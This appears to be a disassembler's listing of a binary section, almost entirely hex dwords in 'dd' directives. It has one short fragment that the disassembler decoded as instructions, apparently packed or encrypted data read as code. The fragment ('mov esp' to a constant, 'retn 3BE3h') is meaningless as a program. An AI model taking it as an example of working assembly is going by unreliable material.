dd 81C0406Bh, 0A1B56E17h, 36C93822h, 979C72A6h, 8484B6FAh
dd 0C096BEh, 5E5D7832h, 5C9080ABh, 0B5181351h, 0B6109A12h
dd 0CC351EBCh, 79807D65h, 0C74284E0h, 5C390BDDh, 0B2C88037h
dd 7F527214h, 0F3890B9h, 70130861h, 54180F80h, 3F0057ACh
dd 7BC85BD5h, 311D3D9h, 0CF5F356Dh, 1102D67Ch, 0FB674036h
dd 29005826h, 0D074D1h, 6E6A21BAh, 0C11E3A5Bh, 0BD24C078h
dd 0A8B1F317h, 4D0420h, 8008CD82h, 0FBA7C4A6h, 2A47DF00h
dd 4EC62678h, 218F6064h, 3354C1ABh, 9A8B9600h, 0E80207B1h
dd 9075003Bh, 3DCC710Bh, 4E39ED21h, 0B4621D19h, 50DD6140h
dd 9880DC76h, 0EEC403E8h, 69BA4DE6h, 0AC8357B8h, 0A481544Eh
dd 7BFC7109h, 0D14F0061h, 53CDFF9Ch, 40BC7A27h, 0BBC0C49Ch
dd 0C9B9CF69h, 0D4B30391h, 8846A7C1h, 55BFE99Bh, 3FBE09B5h
dd 0F20247DCh, 8F4E286Dh, 7C0740ECh, 1B1473Eh, 9635255Eh
dd 0E2505377h, 952FDCC0h, 0C851421Fh, 2B733200h, 9A525ED9h
dd 0C0785E50h, 7415FD0h, 7138A404h, 8C80F4B9h, 9565485Dh
dd 3C20808Fh, 0F8B7DADBh, 37FCC1Fh, 0AE89261Eh, 846C60A4h
dd 1494002Bh, 670FB3C5h, 0F00092B7h, 0BB4AECDCh, 404E37h
dd 0B6E3D3C2h, 4DCF6CBEh, 76004891h, 1E738434h, 0FC5500CDh
dd 416631C5h
; ---------------------------------------------------------------------------
inc ebp
loc_505445: ; DATA XREF: ___:off_4374B8o
sbb al, [ebx]
sub [edi-0Dh], al
scasd
mov bh, [edi+edx*8+40h]
add eax, 0A08F19B4h
mov esp, 92005DB8h
stc
retn 3BE3h
; ---------------------------------------------------------------------------
db 14h, 0A2h, 69h
dd 0DE441892h, 785616E8h, 43D853D6h, 0B8A58304h, 3B255CE8h
dd 0F7E36E03h, 74DEEBEh, 68053FC8h, 87EAB002h, 0EF0FB25Bh
dd 6732C2h, 0B31B0EC8h, 0FD1212B8h, 0DE00A136h, 0AB0458E0h
dd 960925h, 1DDC2054h, 95B525C0h, 0AEFE70E0h, 374B8600h
dd 137BEA85h, 198C3CBAh, 542E4483h, 0DDF8EE65h, 390315BCh
dd 4E320E75h, 6FD00010h, 8724E625h, 4A03C417h, 21E33469h
dd 4CFEC096h, 1844003Fh, 0EC351E2Fh, 1B007FD4h, 0F46EFB38h
dd 0FE8AE1E4h, 69080941h, 0E47071F9h, 0F88B4Ch, 0AC36E21Ch
dd 124A9F83h, 0A53F38h, 44E0FA98h, 10937C27h, 0B8B40516h
dd 4483153Ch, 884AAC82h, 0C71264E0h, 0C0C04608h, 0FA7862h
dd 7B9DECA9h, 0B8CA042Ch, 90071892h, 0AC82AD5Ah, 0CB8C50A0h
dd 9B250256h, 0FB1E932Dh, 0F18FEC76h, 9C4097E7h, 0C52E1184h
dd 0F8C9503Eh, 82E8201Eh, 225EB22Fh, 40190114h, 0C43F71Ch
dd 10BB14AAh, 0CA01B041h, 0ACA6C13Ch, 91ED2EE1h, 36E7DE8h
dd 25659D9h, 500643FAh, 3E4F310Dh, 20FD02C9h, 9922B74Ch
dd 8F80B85Ch, 40E92825h, 0ECF14C58h, 0D4D56200h, 0BF1141BAh
dd 74154F00h, 9B07E8B7h, 1B4A02DFh, 0C5A1AD31h, 24861840h
dd 2DC7758h, 880F6D2Fh, 16156196h, 90AC4ECh, 0BA531B94h
dd 637B048h, 2602BCB2h, 8E48F814h, 0E594A1D7h, 82E456CDh
dd 0F325806Fh, 9D610A08h, 0D0ED01C6h, 0E88969E3h, 28E51D18h
dd 0F600AE0h, 1CBCC847h, 990CDCD9h, 494D130h, 0C8ED6E86h
dd 2D528049h, 0E205B9DBh, 3313A441h, 70587F80h, 0E5860C71h
dd 73A10D01h, 69D9E00h, 5CA1C9AEh, 14E849A2h, 5B01C83Bh
dd 0D4E56FCCh, 332AF8D6h, 0F1A07304h, 80EB16AFh, 0D3B62F2Bh
dd 0DF7EBC0Eh, 4491E7B3h, 129638F0h, 2BC20072h, 0D7F2469Ch
dd 98008BA6h, 4F43ECB3h, 3DE855h, 0A71AB59Eh, 12DD8D76h
dd 3E3A9400h, 0C58B45F7h, 0C890E0h, 597FF9E1h, 0BE6583B0h
dd 0CC62D501h, 0EBACA4DBh, 7179F0h, 4A9A3C3h, 0B5272A2Bh
dd 1E812602h, 40AC0582h, 42211FBh, 744CB823h, 8BACE09Ah
dd 70D20106h, 0D1F3A3h, 723DCF10h, 9B18EA33h, 5E00F48h
dd 0F838311Ah, 0E024E8F8h, 760580D0h, 55AC4D3Ch, 4EBE1E04h
dd 7CA057F1h, 9A3D26B8h, 0A3074198h, 0D0DC57CBh, 0C9D53A2Fh
dd 9C68E72Ch, 0F97E6B80h, 75B2C0E2h, 65191C52h, 692685h
dd 5CC1A1A2h, 0AE90E0E5h, 78300104h, 34E0AA6Fh, 0DAB801CDh
dd 0E5454627h, 0A275DC87h, 0A124DF00h, 8E2914Ah, 0DA7F01F2h
dd 3AEA5844h, 0FBE9F4D1h, 34335Dh, 98CACB08h, 0B643508Ch
dd 0E0785028h, 3FAF6D02h, 8030F020h, 2480EFF3h, 2EC98h
dd 19C03211h, 35F4896Ah, 0CB3B1700h, 0DF927120h, 28121C40h
dd 9E7DC0E2h, 298A01F3h, 589CD548h, 8C3A00D4h, 0C4534B2Eh
dd 871024D9h, 0E60483E8h, 29C092FDh, 663DF170h, 20B82665h
dd 0AE9720Fh, 205D47Bh, 0E845FD0Ch, 20002B7Ah, 0BA1D1A08h
dd 427409h, 5B31FFC3h, 0DCFC95E8h, 4EB04C05h, 8FC3527Ah
dd 0E30198A4h, 3BE2180Ah, 0C5091858h, 0D1E85D78h, 0BC22418h
dd 0CC78F48h, 7F265149h, 973B8468h, 64052C29h, 0C4CD0C81h
dd 3181B80Fh, 0FEEE09BEh, 8E218311h, 0C07C49C3h, 5C47167h
dd 7A7066E1h, 0AA5C0051h, 0C018F1AFh, 1CC7253Ah, 920044B1h
dd 12A13DC3h, 8109008Bh, 0FB3E37CFh, 0D24CC60Eh, 5ADB0087h
dd 74B70E2h, 119303FFh, 64E547D8h, 0A71DF4E8h, 3E448017h
dd 26188EA8h, 930E7189h, 0A1D0A41Ch, 5D3E8C40h, 6385B7CCh
dd 91242036h, 0C3222900h, 72D06F17h, 5FA400FCh, 813DA5DCh
dd 0C8A083AFh, 0B9E40B8Dh, 0CE023600h, 1A7E9878h, 4DD2E275h
dd 8E00FCFCh, 0C5F077F7h, 60002E03h, 96446AD3h, 153821h
dd 0DE019B3Bh, 4A67460Eh, 3D1D7A00h, 8FD40C0Fh, 0F4F854CDh
dd 0D087005Bh, 1223D1CCh, 244AF221h, 726BB890h, 0E7A009Bh
dd 51A1B1E1h, 3201AE08h, 386C7709h, 40807D37h, 0AF7C2BDh
dd 84924C0Eh, 61734236h, 49AD05A8h, 23978BF4h, 297C42CCh
dd 0CFC64C00h, 80099C27h, 0F785Bh, 0C3D9240Ah, 8D7E4250h
dd 0C4D2C000h, 5E01F114h, 0F8891C0Ch, 9559875Ch, 43360769h
dd 1111A623h, 0EC808F02h, 9848E732h, 3135ED88h, 34157F9h
dd 58B6DDC6h, 5C33FE04h, 0E0E010F5h, 0C0C9FBE6h, 7281A621h
dd 360C3E6Eh, 9471791h, 621C0BCh, 12C8728Ah, 63D61900h
dd 88C0D3Fh, 0EBF900F7h, 30B55A66h, 49284EEEh, 7D0638BFh
dd 175D86C5h, 0F3232E11h, 0E19E03D5h, 9F1B155h, 802BD156h
dd 0B8FB5A21h, 3063D4Fh, 0E563BABFh, 5100B111h, 74C1B341h
dd 605E610Bh, 9CA4D9F2h, 1A3FAB0Ch, 9B500069h, 27E6728Ch
dd 406600DEh, 0ED03DBB4h, 49C0B311h, 9D886496h, 0A982033Ch
dd 0AA5A35F5h, 2101AFA3h, 1E886CFFh, 0F741EBA0h, 0A19E0F3Bh
dd 0FCBB4763h, 7D7AD0CFh, 9B011593h, 4D6DCCA6h, 2987053Ah
dd 0CA12880Bh, 80841180h, 9ED6B8E5h, 22564351h, 0ED5C0020h
dd 5EBEF7B8h, 0F605BFD1h, 92A6B90Bh, 76B5C420h, 0CDA9C0B4h
dd 0BDB2867Ch, 77400B00h, 0F3B88E69h, 0F80329DCh, 886D0178h
dd 186A3CA0h, 55F488ADh, 0ABBC8900h, 0FF744DD9h, 881E9814h
dd 0E6DFE6B0h, 58F26480h, 886B60F6h, 503C6882h, 0A1912Ch
dd 318953F6h, 0F86676h, 0F0D88E4Ch, 0DC778A93h, 0FF329A01h
dd 35304D06h, 0C1325022h, 10C087E9h, 82015966h, 956FC09Dh
dd 0AAC492E1h, 0CC27024Dh, 0C890A699h, 65A48C90h, 0F6411318h
dd 68B93B9h, 5C9B8CE0h, 0E0061C7h, 14B9014Ah, 0C2B52B4Bh
dd 183F4C28h, 0CEE6F090h, 4D488872h, 48141464h, 5CFD8384h
dd 40296693h, 990119F4h, 856D86C9h, 0D448FED4h, 4174060Ch
dd 0E86850DBh, 304CC704h, 8C88C5BBh, 0F4048C83h, 0D99ED7B8h
dd 59202262h, 0EEB8FCh, 5B5335D1h, 7D5401BBh, 0D0B47B0Ah
dd 0A78DB8BEh, 0CEE13194h, 91C5C8BDh, 0EE818970h, 0A29EEDB8h
dd 2E443868h, 0B8F60043h, 28552FA3h, 5F304B01h, 457F1F3h
dd 3DA800ACh, 56879B11h, 39C0275Ch, 378E65F3h, 138D0084h
dd 0F6DC0642h, 8200C18Ch, 0F927A52Eh, 0D0EF5CDBh, 2DB84C31h
dd 0CF200E8Ch, 0F26280C0h, 0B084E20Bh, 856608A0h, 45514014h
dd 4FC012F0h, 1920F590h, 434C4A91h, 98A18BA2h, 53C38FA7h
dd 33F1E69Ch, 40F44806h, 909AFA44h, 0E4E08700h, 15A16020h
dd 6647B9Dh, 5C31443Eh, 8900211Eh, 0B8FF564Bh, 3E14638h
dd 0A654D098h, 9948439Ah, 48C7CD8h, 3E61729Eh, 20BB626Eh
dd 2D72870Bh, 0C8137E26h, 0FF567042h, 97E35B0Eh, 1900A512h
dd 7F3DFAFFh, 7CBAD6h, 266507F8h, 0E79CB1D0h, 913CB202h
dd 404E0A92h, 0C1BA12BCh, 0E79F8A39h, 0E214FD46h, 1B3BB380h
dd 0C1043C4Ah, 19A26265h, 0FC251C8Ch, 446B6731h, 0DFADC029h
dd 9A007D8Fh, 5B0CCF34h, 545E6AABh, 484DC4Bh, 0F5010636h
dd 0AEC0EFB1h, 0E07107DBh, 0E2B000C2h, 0C937D47Bh, 5630B56Fh
dd 59C6F95Eh, 0EED81EECh, 0CA374372h, 830F17Ah, 0E43A5946h
dd 6FB30FD8h, 0FC948FA6h, 0AA2E798Fh, 1B5CE182h, 85FBCCA0h
dd 640070BAh, 0C3BBADFEh, 9A9576B4h, 9AA719F4h, 225F41B5h
dd 0BE150038h, 0F0DD63A0h, 0D58003A6h, 0A74359FEh, 0D06483EAh
dd 6202FB46h, 723C9F88h, 0F110AB31h, 761D886Ah, 0B4075DC9h
dd 12B30E65h, 0A0211FA2h, 0F56040BCh, 0F02A8C97h, 2FF29F00h
dd 27EA01D8h, 725702B5h
dd 4414D5A7h, 764C9490h, 9ACDD601h, 7A01993Ah, 341CD845h
dd 729B01A3h, 18663E64h, 840C88B2h, 2CC77200h, 8A1DF97h
dd 1A0E0AB4h, 8188495Fh, 0EE7045D6h, 1537C09Bh, 58D2B707h
dd 0C1C009DBh, 5E3EF97h, 324D384Ah, 0BD048812h, 0BAB488h
dd 1A16D853h, 4C5F56C3h, 0DF4E59C0h, 1BA8FC9h, 0DD41620Fh
dd 0E85380E2h, 0B42C95F4h, 5D44707Ah, 8750C8h, 73A51A64h
dd 5080A02Bh, 2EF00F00h, 179C8568h, 6A2F00CFh, 560206A6h
dd 0B45866B7h, 86C1C0B8h, 7CD42954h, 0AC784863h, 0C592A783h
dd 9FE7B117h, 0C0FC3808h, 3C9C8861h, 88728A46h, 880769F0h
dd 11AED470h, 8F6E8000h, 99A61848h, 12E659B7h, 80184B9h
dd 4ACCC385h, 160A66D0h, 80999FEh, 0FA9D1D74h, 16E8E80h
dd 1283C928h, 4B848A4h, 0C84D3FD4h, 0C588BC8Ch, 0E0DF3E80h
dd 0DB486C00h, 72EC05ACh, 0E1024304h, 898E4F9h, 2160FA9Fh
dd 8C0863Eh, 1E7288h, 2C27EF29h, 0A1191276h, 67BACD04h
dd 40A05F16h, 2F981CC6h, 276246E5h, 183A7130h, 0DCB829B5h
dd 0D2121E11h, 0A49C00B7h, 0D185A5E6h, 42D9FC91h, 0A7FC5F18h
dd 0F32EDB76h, 0CB40EC5Dh, 742DFAF6h, 90DE01A2h, 5C6EAB70h
dd 0D4218015h, 48BAE23h, 35320039h, 0BF9DF6D1h, 5504820Fh
dd 0CDB55D74h, 2CCE1488h, 0A41C2FFDh, 600C6080h, 0D2041C6Ch
dd 5024B293h, 0E8B5BC98h, 0A741C3B9h, 0D96FCB9Bh, 3906D158h
dd 317D25C9h, 0BF7422h, 0EA8479D6h, 774266A1h, 346A5F26h
dd 0A17944A9h, 2918A218h, 9881BEFDh, 0CEEA0099h, 6C972A1Fh
dd 609909C4h, 0EB18ADD1h, 9D7B4700h, 481352C9h, 2E4499F5h
dd 0D2FF419Ch, 94242C72h, 7921B4h, 0F899F335h, 900174FEh
dd 50E05AFDh, 2473D49Bh, 5F3029A2h, 0E19728FFh, 586D59C4h
dd 0B2E8B44Ch, 0A83A0D8Ch, 0F4A0F34Ah, 0E500C74Dh, 0E6BD5F79h
dd 4866CDB8h, 7680045Eh, 5ABED7E4h, 3239A07Fh, 20C12183h
dd 88301788h, 23903EC5h, 0A0D20020h, 373C1450h, 7EDE0712h
dd 0FB053431h, 91E02820h, 18B379ECh, 2E621F01h, 9680818Fh
dd 70E78BD3h, 0FE882798h, 2931C0B4h, 2596A72Eh, 0C2227100h
dd 8ABF355Ch, 0A64D110Ah, 0D2030991h, 5DBC6812h, 0D519C028h
dd 2ED09A31h, 0BB988401h, 4E675E5Bh, 0C2FC38C9h, 0EB81B9Eh
dd 10C83996h, 92F26686h, 3A4DD517h, 0F28F4031h, 3840D310h
dd 0CB66FF1Eh, 3A29FDC1h, 298071A1h, 84018211h, 6FF2D0BAh
dd 0B3F67701h, 3DFB40DDh, 613E1023h, 1063B1Dh, 4A90D4B7h
dd 0C8C7402h, 3801D673h, 3EE33494h, 8038D465h, 178C2ABCh
dd 205F4B32h, 7184C284h, 0BBFAF800h, 0C8E79D9Eh, 40BF1FF4h
dd 1B5C731h, 0C85D443Bh, 0E4009FECh, 6202A3C8h, 4046E3h
dd 1927F209h, 84F39799h, 7ACEDF00h, 8B86EBF8h, 38EA60DEh
dd 0E7598A93h, 2C7DBC18h, 86D090h, 3815360h, 6BF4A70Dh
dd 5600EB7Bh, 0CDBE5D85h, 60A3A879h, 1D37E4BBh, 9300E4A6h
dd 1247ED3Ah, 788A5E16h, 3FEE0042h, 35AC8CF4h, 9800D541h
dd 0CCA7F663h, 24A68D6Fh, 8E08B99Ah, 6B447190h, 0FA0C8CC2h
dd 0E6985F00h, 6AE3C8A4h, 54557942h, 34AECA8h, 31D72984h
dd 0D0F01D8Ch, 301DD45Bh, 8B05CDBh, 3C00FA9h, 0B64EE3BAh
dd 0D3A3EAF3h, 0EC33BBB1h, 407CE7F5h, 0EC4F3Eh, 31F84A92h
dd 78E648B7h, 9BB33A34h, 4110C630h, 0BD7020B5h, 0D400BA7Ch
dd 0CAC2C07h, 0F7C74Ch, 0BB7E33E9h, 46C04DF9h, 0B631FA0Fh
dd 0C24380BAh, 0F042EC4Ah, 0DDEE741Ah, 80410130h, 0D04BEDF6h
dd 480008BBh, 0F0E04CD3h, 28D649BAh, 8F6431EFh, 63F85D04h
dd 102260B7h, 64E9324Ah, 0F0000CB9h, 67F1965Bh, 58B70C55h
dd 0E608664Fh, 1200B8B2h, 4DC89664h, 163094h, 0C6AB2336h
dd 0B92BEE67h, 2E27E003h, 64803246h, 61E66018h, 67CC95CCh
dd 22B643CDh, 551103E3h, 212DDD96h, 0B1195AFBh, 97606A50h
dd 0F4992000h, 47AA2505h, 6408316Dh, 9659C0EBh, 654667F3h
dd 1000FB22h, 0D4AA9662h, 3D19BF84h, 9700460Eh, 1E563A94h
dd 0C0C193B6h, 0F0571FD0h, 6E2899Eh, 11587355h, 0E53BBC00h
dd 864B43FBh, 0CC14F2D7h, 721B508h, 61E52303h, 0C8822485h
dd 0C1846636h, 8A66B58h, 0FBD08093h, 76C9EE6h, 8E9B2EA4h
dd 0D1D600FFh, 32497BD9h, 26CE852h, 67F2965Ah, 10FA315Dh
dd 0E96630Fh, 93D19D5h, 2D9AA280h, 9152B646h, 1E223C8h
dd 67FC95D0h, 15280EADh, 298E7CA4h, 1FC85721h, 9C8A8353h
dd 0D5E1FB3Eh, 0CDF99F93h, 34418252h, 0DF7A23A9h, 6D1420BEh
dd 2B080C27h, 8500FA7Eh, 0C8545956h, 0D071C2D6h, 5448AA49h
dd 3B00959Bh, 5908399Eh, 9A25B0h, 0F6187E4Ch, 62C2D1AAh
dd 4039EC6Ah, 395BCF08h, 14A9C674h, 5500E9D2h, 0E4456DA7h
dd 51CAE27h, 16DA3846h, 86C85FB6h, 2047E9A6h, 4ABB5101h
dd 9A36DA31h, 0EF430FE2h, 601CAE5Fh, 0CB40E8DBh, 0EA665DDAh
dd 0D6CD0707h, 60E29BB3h, 445BD522h, 0DCF31F1Bh, 0A1DDE389h
dd 20F91224h, 56C4C7CBh, 1C3E2498h, 6343FCE5h, 600B411h
dd 6477E526h, 240A89E1h, 983351CCh, 4FD83981h, 0F04F19B2h
dd 0EEC0E688h, 9FB9440h, 0BF667BA1h, 1D0D4020h, 97249DD2h
dd 0F780ECAAh, 3FB089F4h, 0FC8F49CAh, 0B743A608h, 8E180802h
dd 6D9E0320h, 9C29A105h, 0F801F266h, 0B7864459h, 30608042h
dd 43F6E538h, 0B3221346h, 0E5209C03h, 0A10DE241h, 0F841A9A4h
dd 0F500BFDFh, 99492Fh, 6818F779h, 0D3F81C00h, 5432E652h
dd 50D0A8BAh, 0B76414D4h, 0E423A8B8h, 0FE95CE01h, 0FA18BD67h
dd 571388h, 0AECDBE96h, 2B832881h, 2F3BFB7Ah, 0CF6A18ABh
dd 1F041D60h, 0B50ED7h, 220CEAD3h, 0CB642D21h, 6C8863F1h
dd 0BB1C00C2h, 8B6ACA09h, 0BC02FC22h, 4AFFCDAEh, 0EC9448D3h
dd 0A211006Bh, 23CA6D3Bh, 6701F501h, 6C54B725h, 63F84371h
dd 54104806h, 1553F480h, 0ED185CD5h, 514907A6h, 4A26185Bh
dd 0FEBB11D6h, 2FCF9109h, 58B883D7h, 0A4083007h, 91F71521h
dd 53D3A801h, 0BD2A205Fh, 0C8FCC18Fh, 0C57778F0h, 0CAB16324h
dd 0FF6E8501h, 0ECCCBD58h, 685D00FBh, 0C4777BF8h, 84002DCCh
dd 0AEB6232h, 0CED8AAEDh, 1B3EFB69h, 0D3B81882h, 8DCABA9h
dd 5A3AF500h, 6E53CC2Bh, 0CF267118h, 0A31F89C2h, 0F0C09016h
dd 0B4EE8504h, 0DAB231EDh, 2041F859h, 0E3780F38h, 80486349h
dd 43FDE539h, 0B7448C3Bh, 0E5210399h, 9667ADB3h, 4440AFE2h
dd 4A241810h, 60058026h, 0E8242F20h, 232C8C82h, 8107D449h
dd 0CF8A8E73h, 0D2720BE7h, 0CE308072h, 3EC1AB2h, 4C947BBDh
dd 0AA9026CAh, 9BF6A26Ch, 23F0C70Eh, 0FA3620FEh, 372FF9D9h
dd 3759B14Bh, 0B288F0B6h, 18000C01h, 0A22FF205h, 58224FD7h
dd 508F408Bh, 0D027E1E1h, 4A7980C4h, 8D43BB53h, 0DA871215h
dd 0E5AC088Bh, 0FD95CFC0h, 0B6B52167h, 96A01667h, 1D8ADC0h
dd 2A612114h, 30097A9Ch, 0A4A1598Ch, 0F60031B3h, 11E53730h
dd 882B43FFh, 1F9B87B6h, 321000E5h, 5A268483h, 410028E7h
dd 63FB1A0Fh, 3581C0EEh, 0FDEA9994h, 0F7F1A200h, 692F7C40h
dd 1EC87C1Ah, 26D32266h, 71510FCh, 9DACC10h, 0D04124F5h
dd 3C19FE90h, 0D4B8A0FFh, 0B9163AB1h, 73806848h, 0D22219E6h
dd 63A1FA09h, 0C6AC20B2h, 12326A2Dh, 590853ABh, 1857E8B0h
dd 0F9E5083Dh, 0BFC45B43h, 0E5250540h, 60FA3AB2h, 3C5051FEh
dd 37647EF8h, 670BA8h
dd 0EEAB3A1Ah, 0E8710087h, 2E3F4819h, 0D258EB01h, 17CE400Fh
dd 0EE69F882h, 5C40CD3Bh, 0E45463F8h, 15004CA0h, 9AB5AD40h
dd 5A6F30h, 0BB920ADFh, 6CF6FC01h, 0D800D9F0h, 35C38D96h
dd 92A5A7E0h, 0C0CDE43Ch, 55720CC9h, 0E714C9BFh, 24D22B57h
dd 0E101091Fh, 0F4A75EB2h, 20E07181h, 87CF1952h, 0D15F5738h
dd 49CE66h, 87844DB9h, 9FE52780h, 0AD13D978h, 14208BC0h
dd 4C0FF930h, 129D10FCh, 0AAF0219Fh, 42B3F1ABh, 18640108h
dd 0A6BC20Bh, 0AB7405AFh, 1D089C09h, 801B1104h, 54B4AE4Bh
dd 1EFE1B37h, 42CC70BEh, 48D544AAh, 0FA96E79Ch, 58F8BAC3h
dd 624FF43h, 7AF4001Ch, 0AF4B20FAh, 65D839C0h, 10A43C1h
dd 72B9680Bh, 0F4514E46h, 0D10BF4C7h, 22D63E2Dh, 66A7EDF8h
dd 564F0068h, 0D6C9E9CCh, 19C3B049h, 0E8FA32B1h, 1B9FB89h
dd 9F5E0FBFh, 50C55320h, 0DE63ABB4h, 9688D450h, 4FCDFA0Ch
dd 1E1FE925h, 14327282h, 7C58DC47h, 1940A2Bh, 0AB391A01h
dd 881918E6h, 2AECE972h, 5ABCB707h, 90A95D30h, 7CD6BF8Ch
dd 339E0093h, 362D7519h, 8402A769h, 0CC39A466h, 49248368h
dd 0F8D15AA6h, 84B7000Ch, 0B4FE6441h, 40170B8Dh, 0A200F03Dh
dd 9EACEB61h, 0EF169B13h, 0DC2F1417h, 2500B123h, 8D8E6451h
dd 2B900289h, 62D0E18Ch, 303A2491h, 2358444Ch, 229AE014h
dd 0DAE009E5h, 0C19A8EDh, 0ABF10946h, 1858E048h, 0F185F4DFh
dd 4514AA20h, 221431BBh, 0C0CAFCA4h, 0D1E16D61h, 9D00965Dh
dd 0A462BBB8h, 5B98606h, 0D33F6BA6h, 0E014CC60h, 773EEEE0h
dd 91E58B16h, 20D404EBh, 8EF9B040h, 0CE00D6E7h, 8F2451A9h
dd 1D8B69Dh, 17903AB1h, 204D7541h, 1D88C0D0h, 0E3F0F0Dh
dd 4960815Ch, 0F7E48844h, 14784C5Dh, 0FC0E1CEh, 96DF69E6h
dd 63B3B843h, 17D901E8h, 5DF2AAE4h, 300CF07Fh, 7F44B52h
dd 2DF4F907h, 0A3B4DB60h, 653B0094h, 894D2061h, 0A717CBE2h
dd 100957F5h, 90EC8A37h, 0C355983Fh, 6F51CDA1h, 0F729E134h
dd 22CA9031h, 3315F264h, 41FADDE8h, 0A3DE9E13h, 693B2049h
dd 0E1FCFB74h, 6E3E122Fh, 0D1D00975h, 0A4992444h, 0BD18FC71h
dd 9F1AA103h, 0EF6B24A6h, 0C0828954h, 19FC30F7h, 4EAB3E08h
dd 401A64A7h, 3619E465h, 0F16D1F73h, 5AD15F2Bh, 0CAC068DAh
dd 2154591Fh, 5537CDC8h, 2DC7392Ah, 2FE890DBh, 0F29B169Fh
dd 53E4020Dh, 0F8729E6Ah, 74658CA2h, 0DD60B5E4h, 5805C8F1h
dd 149E1808h, 0AE4F9801h, 2992B8B6h, 809C04CCh, 1FD8035Bh
dd 602904E6h, 40CA72D1h, 3A47C527h, 63D50F8Eh, 80FCA34Bh
dd 1BF9A946h, 36030448h, 0C7FDC29Dh, 9BE10014h, 86704D26h
dd 0C1608464h, 1C4AE830h, 7850071h, 2FC8D9ABh, 7891D062h
dd 75CEEE03h, 1378A047h, 0A22400AFh, 6C522AE4h, 0A417B765h
dd 0F0279EEDh, 752E1611h, 3120B184h, 870C4BCDh, 0FF87F720h
dd 0F8E12EC6h, 623804F2h, 97D340AAh, 0FB28BC14h, 0CFC6050h
dd 19E3168Ch, 0FC605037h, 70818CC8h, 3DB419EBh, 0F21EE0h
dd 77C3396Dh, 4238102Dh, 474904Ah, 0A8F4CD1h, 311F6876h
dd 9035E56Bh, 10ACB289h, 2C0E6780h, 82805A6Ch, 99A8641h
dd 0A298020Bh, 61A04AE6h, 0BB10AA84h, 0BA005154h, 8AFCA2D8h
dd 1F4239Dh, 971AA690h, 68B8D6AAh, 8CF8BC30h, 237639E6h
dd 0C54444Ch, 81E7AE2Bh, 0D170B189h, 6D188Ch, 0B4A3DDA0h
dd 88E414FBh, 80644A4Ch, 7D121335h, 0E8CD0054h, 1C461596h
dd 4A00BE8Ch, 6D2EAF4h, 4F9C2AADh, 4F20030Ah, 0C0A4329Eh
dd 6683A930h, 0A2FED40h, 0C6B3EF0Ah, 911826A4h, 36338E89h
dd 0F8C8888Eh, 83D178C0h, 30C80016h, 0FAA081EDh, 6D4B828Eh
dd 149ECC22h, 56038E9h, 4B38F308h, 993888h, 44963483h
dd 0F7A0A53Ah, 0AB267090h, 76F488D6h, 64C80051h, 12F7E386h
dd 0F6136A19h, 50C0B84Fh, 87DF407h, 31CA47D8h, 3022BC28h
dd 0C7FC26B5h, 8F504070h, 0E1069827h, 13B811D5h, 1820DE1h
dd 1F12FF5h, 0FC58E284h, 10A4EAC7h, 310DF0C9h, 5C1858E4h
dd 494CE312h, 0F723502Fh, 1B7DDE00h, 0B293CCCh, 0FA462FD2h
dd 0E1C3A861h, 6149E02Bh, 4A5BA678h, 0F723102Eh, 4632B300h
dd 1E82FE47h, 905007D1h, 22C04C26h, 0D9193FA9h, 58F99800h
dd 3DAC8A1Ah, 0BE478900h, 80754F2Eh, 0E16916E4h, 507C42F7h
dd 20791F5Bh, 8491F38Bh, 20F30FFAh, 1800A322h, 8539910Ch
dd 22D76177h, 0A904C6CFh, 90A09547h, 0F1A420D2h, 18F77954h
dd 974D01DFh, 4B470A6Ah, 8A7980A7h, 5AA4C755h, 0BCF7005Dh
dd 0D1EF19CDh, 0EE0E2A9Fh, 8262667Fh, 0D9CC8DD7h, 3C29025Ch
dd 0FE00EA5Ah, 0B6E59EDDh, 1E560118h, 80A5A724h, 0A9B0B5C0h
dd 7839E90h, 0D514640Eh, 8C57B25Dh, 80C3F5E2h, 92AB893Eh
dd 5C2261EEh, 1350ECEBh, 80586B2Fh, 506C3598h, 20463118h
dd 0EEF25469h, 291A00C7h, 84250F44h, 2FF42D9Bh, 0D9A1FD00h
dd 0A7A8DF63h, 8A2E006Ah, 7205F204h, 9807838Bh, 0D0ABAE41h
dd 0D2F7A540h, 3C9F1FE6h, 0B4B7C7F5h, 730381AFh, 354FF0EBh
dd 0DE08F000h, 46043DFh, 8A0500EAh, 5463B720h, 680238A1h
dd 9AF29140h, 97B4C0CBh, 0E21900F1h, 0A53ECC46h, 0DD5BC794h
dd 80D01422h, 0FDDA30A0h, 0AB9C25EDh, 40C36C24h, 1395317Bh
dd 0A87017C0h, 23303A6Ch, 0C59200B3h, 4D432FB0h, 80E4CA5Ch
dd 10149034h, 0B9AE009Dh, 0ED77B8B1h, 0CA07E325h, 227251A3h
dd 0E1D23962h, 0EBCCBFF4h, 7C640782h, 0CADE42F8h, 16AD38B3h
dd 0FB91B89Dh, 4AF77F80h, 0F6391727h, 2555814Dh, 0E0DA548Bh
dd 0AFD93021h, 3002063h, 7ACF52E6h, 0B700B56Ch, 1DDCB225h
dd 58612099h, 8002C394h, 0D65A5424h, 0B2D930F1h, 0E21DD118h
dd 0E3451256h, 0C4884A78h, 3E4F75E0h, 3DA45773h, 42BC1D77h
dd 1C8CFA33h, 0EA7EA0C0h, 0E4E0EC83h, 0D14C995Ch, 2B518E6h
dd 4E3080BCh, 0B082342Eh, 0CC71CB66h, 0DD191A71h, 0DC4CD188h
dd 420B459Ch, 2AC9E66h, 0F98BC6A8h, 792C0F1Ch, 5E15A0A7h
dd 5835DF80h, 921352C5h, 0E0DBD951h, 4ABBCE80h, 0E073C0Bh
dd 92AC26B9h, 0A065F1F0h, 315A02E3h, 54253271h, 433E5072h
dd 0A0B8327Eh, 20A46196h, 913AF418h, 1107A359h, 0D1B00A2h
dd 821E1791h, 50FF2D12h, 0BF11E497h, 356CE683h, 0FAE3EB88h
dd 0FAC75D39h, 4EA19A00h, 0B05C25FBh, 2A16284Fh, 0D32F0CCCh
dd 0A9F9C8CFh, 87BF0D00h, 0EFB7CB32h, 757000E8h, 0B2522765h
dd 1C27C6AEh, 4470167Bh, 80F1C76Eh, 26622419h, 37F2A0h
dd 7BB1972Ch, 0A5881294h, 0AE20D43Fh, 83438E9h, 0E35BBCC1h
dd 8C2DC064h, 283AD099h, 28C90C57h, 56B4E84Ah, 79D1007Ah
dd 3B411649h, 0A2F6FE7h, 0C02C29BFh, 9E5620B8h, 9E438294h
dd 1CD1A6B2h, 52562189h, 1F572E8Ch, 0D3430008h, 0CE481084h
dd 0B4717E4Ah, 803947AAh, 0D7A5ED0Ch, 0CC2FDF91h, 2CECA154h
dd 24D88BDAh, 0F4B90117h, 0DE362FD1h, 0C8508C1Ch, 0FE2929h
